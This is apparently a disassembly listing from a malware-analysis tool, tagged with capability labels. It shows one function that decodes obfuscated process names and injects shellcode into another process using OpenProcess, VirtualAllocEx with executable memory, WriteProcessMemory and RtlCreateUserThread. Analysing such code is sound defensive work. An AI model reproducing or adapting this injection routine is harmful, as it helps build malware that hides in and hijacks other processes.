Function at 0x1800021e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x3f]
sub rsp, 0x98
mov rax, qword [0x180011020]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rax, qword [0x18000e658]
mov r9, qword [0x18000e648]
movzx r10d, byte [0x18000e650]
mov qword [rbp + 0x17], rax
mov eax, dword [0x18000e660]
mov esi, edx
mov edx, 0xa
mov rdi, rcx
mov qword [rbp - 9], r9
mov dword [rbp + 0x1f], eax
mov byte [rbp - 1], r10b
lea rcx, [rbp + 0x21]
mov r8d, edx
nop dword [rax + rax]
mov rax, r8
dec rcx
dec r8
and eax, 7
movzx eax, byte [rbp + rax - 9]
add byte [rcx + 1], al
dec edx
jns 0x180002240
mov rax, qword [0x18000e668]
mov edx, 9
mov qword [rbp - 9], r9
mov qword [rbp + 7], rax
mov eax, dword [0x18000e670]
mov byte [rbp - 1], r10b
mov dword [rbp + 0xf], eax
movzx eax, byte [0x18000e674]
lea rcx, [rbp + 0x11]
mov byte [rbp + 0x13], al
lea r8d, [rdx - 7]
nop dword [rax + rax]
lea rax, [rdx + 2]
sub rcx, 6
and eax, 7
movzx eax, byte [rbp + rax - 9]
add byte [rcx + 7], al
lea rax, [rdx + 1]
and eax, 7
movzx eax, byte [rbp + rax - 9]
add byte [rcx + 6], al
mov rax, rdx
and eax, 7
movzx eax, byte [rbp + rax - 9]
add byte [rcx + 5], al
lea rax, [rdx - 1]
and eax, 7
movzx eax, byte [rbp + rax - 9]
add byte [rcx + 4], al
lea rax, [rdx - 2]
and eax, 7
movzx eax, byte [rbp + rax - 9]
add byte [rcx + 3], al
lea rax, [rdx - 3]
sub rdx, 6
and eax, 7
movzx eax, byte [rbp + rax - 9]
add byte [rcx + 2], al
dec r8
jne 0x180002290
lea rcx, [rbp + 0x17]
call fcn.180002070
mov ebx, eax
test eax, eax
jne 0x18000230d
lea eax, [rbx + 5]
jmp 0x180002460
mov rcx, rsi
mov qword [rsp + 0xd0], r12
call fcn.180003620
mov r8, rsi
xor edx, edx
mov rcx, rax
mov r12, rax
call fcn.180007ab0
mov r8, rsi
mov rdx, rdi
mov rcx, r12
call fcn.180003160
mov r8d, ebx
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x180002382
lea rcx, [rbp + 7]
call fcn.180002070
test eax, eax
je 0x180002378
mov r8d, eax
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x180002382
mov eax, 5
jmp 0x180002458
mov r9d, 0x3000
mov r8, rsi
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1800023ae
lea eax, [rdi + 4]
jmp 0x180002458
mov qword [rsp + 0x90], r13
xor r13d, r13d
mov r9, rsi
mov r8, r12
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002439
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, str.ntdll
mov qword [rbp - 9], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], r13
lea rcx, [rbp - 9]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call rax
cmp qword [rbp - 9], r13
jne 0x18000243d
xor eax, eax
jmp 0x180002450
test rbx, rbx
je 0x18000244b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov r13, qword [rsp + 0x90]
mov r12, qword [rsp + 0xd0]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.180002f90
add rsp, 0x98
pop rdi
pop rsi
pop rbx
pop rbp
ret